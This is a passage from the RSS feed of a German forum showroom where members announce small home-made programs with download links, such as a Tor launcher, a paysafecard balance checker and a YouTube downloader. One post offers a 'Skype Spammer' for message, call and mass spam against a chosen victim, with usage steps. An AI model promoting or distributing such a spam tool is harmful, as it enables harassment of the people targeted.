			<pubDate>Sun, 08 Jul 2012 11:29:19 GMT</pubDate>
			<description>Bild: http://u-hacks.net/downloadbase/downloads/screens/23-2.PNG  
 
 
Hallo, 
 
hier mal das brandneue *MultiTor* gecodet von EasyMhM. 
 
Dieses...</description>
			<content:encoded><![CDATA[<div><img src="http://u-hacks.net/downloadbase/downloads/screens/23-2.PNG" border="0" alt="" /><br />
<br />
<br />
Hallo,<br />
<br />
hier mal das brandneue <b><font color="#40E0D0">MultiTor</font></b> gecodet von EasyMhM.<br />
<br />
Dieses MultiTor läuft anders als die vorigen MultiTor Programme.<br />
<br />
Läuft mit der aktuellsten Tor Version, ist allerdings noch Beta d.h. es können Bugs auftreten.<br />
<br />
Die aktuelle tor.exe findet ihr auf <a href="https://www.torproject.org/download/" target="_blank" rel="nofollow">https://www.torproject.org/download/</a><br />
<br />
Ihr benötigt die neuste <b><font color="#FF8C00">Unstable</font></b> Version von Tor.<br />
Die tor.exe muss im selben Verzeichnis sein wie MultiTor!<br />
<br />
<font color="#FFA07A"><br />
<font size="5"><b>NUN ZU FINDEN IN DER DOWNLOADBASE!</b></font></font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>!lkay</dc:creator>
			<guid isPermaLink="true">showroom-102/multitor-by-easymhm-14557</guid>
		</item>
		<item>
			<title>Release PSC-Checker v.0.5</title>
			<link>showroom-102/psc-checker-v-0-5-14542?goto=newpost</link>
			<pubDate>Sun, 08 Jul 2012 08:19:36 GMT</pubDate>
			<description><![CDATA[Hallo U-Hacks, 
wie Angekündigt, Release ich jetzt ein bisschen früher das Programm "PSC-Checker v.0.5". 
 
*Was kann das Programm?* 
 
-Das Programm...]]></description>
			<content:encoded><![CDATA[<div>Hallo U-Hacks,<br />
wie Angekündigt, Release ich jetzt ein bisschen früher das Programm &quot;PSC-Checker v.0.5&quot;.<br />
<br />
<font color="yellow"><b>Was kann das Programm?</b></font><br />
<br />
-Das Programm kann das Guthaben der PSC abfragen ohne das man auf <a href="http://www.Paysafecard.de" target="_blank" rel="nofollow">paysafecard - schnell, einfach und sicher online bezahlen! : paysafecard.com</a> gehen muss (Für mich ist es immer ziemlich lästig -g-).<br />
-Es wird auch nach und nach noch einige Updates geben und in V. 2.0 bzw. andere Versionen erscheint eine MyPSC Beta phase.<br />
<br />
<font color="Yellow"><b>Wie sieht das Programm aus?</b></font><br />
Hier der Screen: <br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i49.tinypic.com/ih02ur.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<a href="http://i49.tinypic.com/ih02ur.jpg" target="_blank" rel="nofollow">http://i49.tinypic.com/ih02ur.jpg</a><br />
<br />
<font color="yellow"><b>Wo kann ich das Programm downloaden?</b><br />
</font><br />
Hier <a href="http://www.file-upload.net/download-4524370/PSC-Checker-v.0.5.rar.html" target="_blank" rel="nofollow">PSC-Checker-v.0.5.rar</a><br />
<br />
<br />
Hier auch nochmal ein Virustotallink:<br />
von der RAR<br />
<a href="https://www.virustotal.com/file/583f000442438578685a37a626fbe74105e0ffc81abb1488d54811f8a1b107c6/analysis/1341735072/" target="_blank" rel="nofollow">Virustotal von der RaR datei</a><br />
Von der Exe<br />
<a href="https://www.virustotal.com/file/cb7b7d699efa0473cea6595cf904886c265079bb8ed6e757195b77571d772fe8/analysis/1341735249/" target="_blank" rel="nofollow">Virustotal von der Exe Datei</a><br />
<br />
<b><font color="Red"><font size="5">Du hast eine Frage?<br />
Poste es hier im Thread oder schreibe mir eine PN.<br />
</font></font></b><br />
lg Bazs</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/psc-checker-v-0-5-14542</guid>
		</item>
		<item>
			<title>Vorschau PSC-Checker v.0.5 (mit Release Datum)</title>
			<link>showroom-102/psc-checker-v-0-5-mit-release-datum-14464?goto=newpost</link>
			<pubDate>Wed, 04 Jul 2012 22:29:51 GMT</pubDate>
			<description>Hallo U-Hacks, 
 
Heute kann ich euch das genaue Release Datum bekannt geben für den PaySafeCard-Checker v.0.5. 
 
Hier ein Screen vom Programm: 
...</description>
			<content:encoded><![CDATA[<div>Hallo U-Hacks,<br />
<br />
Heute kann ich euch das genaue Release Datum bekannt geben für den PaySafeCard-Checker v.0.5.<br />
<br />
Hier ein Screen vom Programm:<br />
<br />
<img src="http://u-hacks.net/attachment.php?attachmentid=210&amp;stc=1&amp;d=1341440718" border="0" alt="" /><br />
<br />
Was kann das Programm?<br />
<br />
Es kann dir das genaue Guthaben der PSC anzeigen (Geprüft von x Booom x).<br />
<br />
Weitere Funktionen folgen.<br />
<br />
Das Programm wird am 12.7.2012 (+/- 2-4 Tage) Relased.<br />
<br />
Damit ich das Programm nicht umsonst hochlade, starte ich mal eine Umfrage.<br />
<br />
Sind die meisten FÜR den Release, release ich das Programm mit Updates, wenn mehr GEGEN den Release sind, kommt das Programm ohne weitere Updates rein (außer es melden sich welche die das Programm gern immer nutzen wollen). (ALSO Postet) /e habe ausversehen übereifrig abgesendet :x, Leider muss man es jetzt per Post machen)<br />
<br />
Es wird die Tage am Design gearbeit so wie an paar Funktionen usw.<br />
<br />
Bewertet ruhig :)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/psc-checker-v-0-5-mit-release-datum-14464</guid>
		</item>
		<item>
			<title>Release Tubelaod</title>
			<link>showroom-102/tubelaod-14393?goto=newpost</link>
			<pubDate>Tue, 03 Jul 2012 00:44:21 GMT</pubDate>
			<description>Hi, 
 
Hiermit kannst du GANZ einfach von YouTube Lieder downloaden.  
Anleitung gibt es nicht. Wer das nicht schafft sollte es erst gar nicht...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
Hiermit kannst du GANZ einfach von YouTube Lieder downloaden. <br />
Anleitung gibt es nicht. Wer das nicht schafft sollte es erst gar nicht downloaden.<br />
<br />
Screen: <br />
<img src="https://u-img.net/img/6271Lq.png" border="0" alt="" /><br />
<br />
<a href="http://www.file-upload.net/download-4503704/Tubeload.exe.html" target="_blank" rel="nofollow">Downlaod</a><br />
<br />
<font size="1">(Y)? Push Thanks hihio</font><br />
<br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><span style="text-shadow: 0px 0px 10px #8d8d8d"><div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<font size="1">hab das Teil irgendwann mal nach Tutorial gemacht.<br />
Würde ich die Quelle haben würde ich sie hinzufügen</font>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div></span></span></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Shane</dc:creator>
			<guid isPermaLink="true">showroom-102/tubelaod-14393</guid>
		</item>
		<item>
			<title>Release UEditor</title>
			<link>showroom-102/ueditor-14392?goto=newpost</link>
			<pubDate>Mon, 02 Jul 2012 23:45:14 GMT</pubDate>
			<description>Hoi, 
 
gerade wenig Lust darüber zu schreiben.. 
 
Screen sagt mehr als 1000 Worte. 
 
Bild: http://i50.tinypic.com/x4r3k.png  
 
Downlaod...</description>
			<content:encoded><![CDATA[<div>Hoi,<br />
<br />
gerade wenig Lust darüber zu schreiben..<br />
<br />
Screen sagt mehr als 1000 Worte.<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i50.tinypic.com/x4r3k.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<a href="http://www.file-upload.net/download-4503607/UEditor.exe.html" target="_blank" rel="nofollow">Downlaod</a><br />
<br />
Vorschläge? Poste sie.<br />
<br />
Das die Font nicht mit geht wenn man das Fenster ziehen wird gefixxed.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Shane</dc:creator>
			<guid isPermaLink="true">showroom-102/ueditor-14392</guid>
		</item>
		<item>
			<title>Release Skype Spammer</title>
			<link>showroom-102/skype-spammer-14243?goto=newpost</link>
			<pubDate>Fri, 29 Jun 2012 15:33:58 GMT</pubDate>
			<description>*Geupdated!  
Der neue Spammer kann weiter unten gedownloaded werden!* 
 
 
*Funktionen* 
 
* Text-Spam (Einzeln) 
* Text-Spam (Automatisch +...</description>
			<content:encoded><![CDATA[<div><font size="3"><div style="text-align: center;"><b>Geupdated! <br />
Der neue Spammer kann weiter unten gedownloaded werden!</b></div></font><br />
<br />
<b><font color="PaleGreen"><span style="text-shadow: 0px 0px 10px #8d8d8d">Funktionen</span></font></b><br />
<ul><li style="">Text-Spam (Einzeln)</li><li style="">Text-Spam (Automatisch + Interval)</li><li style="">Anruf-Spam (Einzeln)</li><li style="">Anruf-Spam (Automatisch + Interval)</li><li style="">Setzt den Status auf Beschäftigt, während gespammt wird und ändert diesen wieder auf Online wenn der Spammer beendet wird!<font color="#FF0000">**</font><br />
<br />
<font color="GREEN">***NEU DAZU GEKOMMEN***</font></li><li style="">Gruppenanruf-Spam<font color="#FF0000">*</font></li><li style="">Extras:<br />
<ol class="decimal"><li style="">Automatische Antwort bei eingehender Nachricht<font color="#FF0000">*</font></li><li style="">Statusnachricht-Changer</li><li style="">Status Spammer</li><li style="">Darstellung der Skype-ID's ändern<font color="#FF0000">*</font></li></ol></li><li style="">Massen-Spam (Nachricht an alle Nutzer senden)!</li></ul><br />
<br />
<font size="1"><font color="#FF0000">*</font> = Folgt beim nächsten Update<br />
<font color="#FF0000">**</font> = Entfernt</font><br />
<br />
<b><font color="Red"><span style="text-shadow: 0px 0px 10px #8d8d8d">Bugs:</span></font></b><br />
<ul><li style="">Spammer stürzt ab, wenn das Opfer Annimmt oder ablehnt! (Bin dabei das zu fixxen!)</li><li style="">Bisher noch keine weiteren entdeckt! Bitte melden, wenn ihr einen findet.</li></ul><br />
<br />
<b><font color="Yellow"><span style="text-shadow: 0px 0px 10px #8d8d8d">ToDo:</span></font></b><br />
<ul><li style="">Gruppenanruf-Spam einbauen (In Bearbeitung),</li><li style="">Ideen bitte via privater Nachricht an mich!</li></ul><br />
<br />
<br />
<div style="text-align: center;"><a href="http://www.mediafire.com/?dvc8z37w5vfd62p" target="_blank" rel="nofollow"><img src="http://s1.directupload.net/images/121001/86o3i3xv.png" border="0" alt="" /></a></div><br />
<br />
<b><font color="DeepSkyBlue"><span style="text-shadow: 0px 0px 10px #8d8d8d">VirusTotal:</span></font></b><br />
<a href="https://www.virustotal.com/file/30ced13a391f7a2e0017e8d2531514e16eeffcb204f6b52d579228dba07ce4db/analysis/1349109030/" target="_blank" rel="nofollow">Virustotal-Bericht</a><br />
<br />
<b><font color="White"><span style="text-shadow: 0px 0px 10px #8d8d8d">Okay... und wie benutze ich das ganze jetzt?</span></font></b><br />
<ol class="decimal"><li style="">Skype Spammer starten,</li><li style="">In Skype den Spammer zulassen (Erlauben),</li><li style="">Im Spammer auf der rechten Seite die SkypeID des Opfers auswählen,</li><li style="">Und der Rest ist wohl selbstverständlich! :D</li></ol><br />
<br />
Screens:<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<img src="http://s7.directupload.net/images/120629/ihu9if6d.png" border="0" alt="" /><br />
<br />
<img src="http://s1.directupload.net/images/120629/wy7ym5w6.png" border="0" alt="" /><br />
<br />
<img src="http://s14.directupload.net/images/120629/qjryhdr7.png" border="0" alt="" /><br />
<br />
<img src="http://s7.directupload.net/images/120629/dut2w4sp.png" border="0" alt="" /><br />

</div>
</div>
</div><br />
<br />
<b>Credits:</b><br />
<br />
<b>Ghost-Theme</b> von <b>Mavamaarten~</b>!<br />
(<a href="http://www.hackforums.net/showthread.php?tid=2267737" target="_blank" rel="nofollow">http://www.hackforums.net/showthread.php?tid=2267737</a>)<br />
<br />
Viel Spaß beim Freunde-nerven. xD<br />
<br />
Sollte trotzdem noch in irgendeiner Weise ein Misstrauen entstehen, kann sich ja ein Teamler oder wer anders den Source ansehen... :P</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Gangstersheep</dc:creator>
			<guid isPermaLink="true">showroom-102/skype-spammer-14243</guid>
		</item>
		<item>
			<title>Release Tic Tac Toe</title>
			<link>showroom-102/tic-tac-toe-14203?goto=newpost</link>
			<pubDate>Thu, 28 Jun 2012 14:14:27 GMT</pubDate>
			<description>Als erstes muss ich sagen, dass das, das 1 Programm/Spiel ist das ich je mit Visual Basic gemacht habe. Ich habe voher schon ein paar mal damit rum...</description>
			<content:encoded><![CDATA[<div>Als erstes muss ich sagen, dass das, das 1 Programm/Spiel ist das ich je mit Visual Basic gemacht habe. Ich habe voher schon ein paar mal damit rum gespielt aber da ist nie was richtiges draus geworden. <br />
<br />
Also, hier ist mein super simples Tic Tac Toe Spiel :)<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www.lupiupload.de/images/2012/06/28/e9120b983a0918566090c4879a2b084764a23a13.PNG"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Funktioniert wie ein ganz normales Tic Tac Toe, hat einen Reset Knopf und mehr ist nicht dabei :D<br />
<br />
<br />
Credits für das Design gehen an <a href="http://u-hacks.net/members/itoxic-37/" target="_blank" rel="nofollow">iToxic</a> und an den Typen mit dessen <a href="https://www.youtube.com/watch?v=XWIyY0CTd0A" target="_blank" rel="nofollow">Tutorial</a> ich alles gemacht habe.<br />
<br />
Für die skeptischen unter euch: <a href="https://www.virustotal.com/file/64425ed317d9c7cfa2f9679d34427dd61dbbafa35c6e3767adb81d1dccab71b0/analysis/1340892304/" target="_blank" rel="nofollow">Virustotal</a><br />
<br />
<br />
<font size="1">PS: Ich weis das Spiel ist unnötig und kann in 5 Minuten von jedem von euch nachgemacht werden, ich zeigs euch nur aus Spaß :)</font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>milchbubix</dc:creator>
			<guid isPermaLink="true">showroom-102/tic-tac-toe-14203</guid>
		</item>
		<item>
			<title>Vorschau PremiumRadio</title>
			<link>showroom-102/premiumradio-14161?goto=newpost</link>
			<pubDate>Wed, 27 Jun 2012 14:57:51 GMT</pubDate>
			<description>Hi, 
 
ja mal wieder ein Radio, ich weiß. Aber diesmal leider nur ein Preview. 
 
Ich und Basz sind dabei ein fettes Radio auf die Beine zu stellen....</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
ja mal wieder ein Radio, ich weiß. Aber diesmal leider nur ein Preview.<br />
<br />
Ich und Basz sind dabei ein fettes Radio auf die Beine zu stellen.<br />
<br />
Allerdings wird dieses Radio kosten (nicht all zu teuer). <br />
<br />
Es kommen noch eine Menge Funktionen hinein.<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<img src="https://u-img.net/img/3268En.png" border="0" alt="" /><br />
<br />
<img src="https://u-img.net/img/5268Fz.png" border="0" alt="" /><br />
<br />
<img src="https://u-img.net/img/4268To.png" border="0" alt="" /><br />
<br />
<img src="https://u-img.net/img/2269Wm.png" border="0" alt="" /><br />
<br />
<img src="https://u-img.net/img/8269Ui.png" border="0" alt="" /><br />

</div>
</div>
</div><br />
<br />
Das Design wird geändert da es Basz nicht gefällt.<br />
Ich habe daran die Nacht gesessen als er gepennt hat und arbeiten war XD.<br />
<br />
Also ich saß nur n paar Stunden dran.<br />
<br />
Vorschläge sind natürlich gerne gesehen.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Shane</dc:creator>
			<guid isPermaLink="true">showroom-102/premiumradio-14161</guid>
		</item>
		<item>
			<title>Release SimpleLoader</title>
			<link>showroom-102/simpleloader-14050?goto=newpost</link>
			<pubDate>Sun, 24 Jun 2012 21:03:43 GMT</pubDate>
			<description>SimpleLoader 
 
 
_Was ist SimpleLoader?_ 
SimpleLoader ist ein Programm womit du Dateien / Bilder etc downloaden kannst. 
 
 
_Screen:_ 
Bild:...</description>
			<content:encoded><![CDATA[<div><div style="text-align: center;"><font color="RoyalBlue"><font size="5">SimpleLoader</font></font></div><br />
<br />
<u>Was ist SimpleLoader?</u><br />
SimpleLoader ist ein Programm womit du Dateien / Bilder etc downloaden kannst.<br />
<br />
<br />
<u>Screen:</u><br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i46.tinypic.com/ip03d0.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<a href="http://www.imagebanana.com/view/2wwwz212/ddd.png" target="_blank" rel="nofollow">Bild geht nicht? Klick hier</a><br />
<br />
<u>Anleitung:</u><br />
Du gibst den Downloadlink in der ersten Spalte ein.<br />
Zunächst wählst du einen Speicherort wo du die Datei haben willst.<br />
Dann gibst du am Ende vom Pfad deinen Wunschname der Datei an + die Endung.<br />
(Png, jpg, Exe, jar) whatever,<br />
<br />
<br />
<u>Download:</u><br />
<a href="http://www.file-upload.net/download-4477461/Simpleloader.exe.html" target="_blank" rel="nofollow">File-Upload.net - Simpleloader.exe</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Shane</dc:creator>
			<guid isPermaLink="true">showroom-102/simpleloader-14050</guid>
		</item>
		<item>
			<title>Vorschau simpl v0.1</title>
			<link>showroom-102/simpl-v0-1-14004?goto=newpost</link>
			<pubDate>Sun, 24 Jun 2012 09:10:47 GMT</pubDate>
			<description>Hallo, 
 
da ich momentan am PHP und MySQL lernen bin und ich ein Projekt gesucht habe wo ich möglichst viel draus lernen kann habe ich mich dazu...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
da ich momentan am PHP und MySQL lernen bin und ich ein Projekt gesucht habe wo ich möglichst viel draus lernen kann habe ich mich dazu entschlossen ein eigenes <a href="http://de.wikipedia.org/wiki/Content-Management-System" target="_blank" rel="nofollow"><b>C</b>ontent-<b>M</b>anagement-<b>S</b>ystem</a> zu programmieren.<br />
<br />
Natürlich wird das Ganze ohne ein Designs nichts, deswegen habe ich hier die erste Version des Designs als Vorschau:<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i46.tinypic.com/35d245k.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
Wie man sieht ist das Design noch nicht fertiggestellt, kommt aber noch - auch mit mehreren Farben (hell/dunkel).<br />
Hier in diesem Thread suche ich neben Feedback auch Verbesserungsvorschläge und Ideen für dieses CMS &quot;simpl&quot;.<br />
Beachtet bitte dabei das dieses CMS auch wirklich nur simple bleiben soll - erstmal. Unten findet ihr nun eine aktuelle ToDo-Liste welche ich stetig erweitern werde:<br />
<br />
<b>ToDo-Liste</b><br />
<ul><li style="">Layout Erstellung (nach euren Feedbacks komplett fertig) <a style="font-weight:bold;text-decoration:none;" target="blank" href="http://cdn1.iconfinder.com/data/icons/fugue/icon/tick_circle.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></li><li style="">Startseite inkl. Installation (falls noch nicht installiert) <a style="font-weight:bold;text-decoration:none;" target="blank" href="http://cdn1.iconfinder.com/data/icons/fugue/icon/tick_circle.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></li><li style="">Administration (Benutzer - und Gruppenverwaltung, Konfiguration der Seite, Templateadministration)</li></ul><br />
<br />
Weitere ToDos werde ich im Laufe der Zeit hinzufügen, sofern ich die oben offenen Dinge erledigt bzw. umgesetzt habe. ;)<br />
<br />
Grüße</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Devon</dc:creator>
			<guid isPermaLink="true">showroom-102/simpl-v0-1-14004</guid>
		</item>
		<item>
			<title>Release uDj Version 1.0</title>
			<link>showroom-102/udj-version-1-0-13844?goto=newpost</link>
			<pubDate>Wed, 20 Jun 2012 14:41:11 GMT</pubDate>
			<description>Heyho, 
 
ich habe heute Morgen auf meinem kaputten Laptop noch einige Programme gefunden, unter anderem war der uDj dabei. 
Ich habe damit vor 1 (?)...</description>
			<content:encoded><![CDATA[<div>Heyho,<br />
<br />
ich habe heute Morgen auf meinem kaputten Laptop noch einige Programme gefunden, unter anderem war der uDj dabei.<br />
Ich habe damit vor 1 (?) Jahr angefangen nach einem Tutorial zu programmieren, allerdings ging mein Laptop im kaputt und nur die GUi war so gut wie vorhanden. Also dachte ich mir mach ich das Teil doch jetzt mal weiter da ich nichts besseres zutun habe.<br />
<br />
<br />
<b>Was ist uDj?</b><br />
uDj ist sowas wie VirtualDj nur 100x schlechter. Es ist möglich Lieder auszuwählen, den Speed sowie die Lautstärke zu verändern und vom einem zum anderen Lied zu wechseln.<br />
<br />
Aufwand: 1 Stunde.<br />
<br />
Ich denke schon das eine zweite Version von uDj kommen wird hihio.<br />
<br />
<br />
Screenshot:<br />
<img src="https://u-img.net/img/6168Xz.png" border="0" alt="" /><br />
<br />
<font size="1">Thanks to Bossgen, i love you &#9829;</font><br />
<br />
Jedenfalls würde es reichen ein normales Radio zu führen denke ich?<br />
<br />
/e² Vielleicht hat ja jemand Lust mit mir das Teil weiter zu machen ;)?</div>

]]></content:encoded>
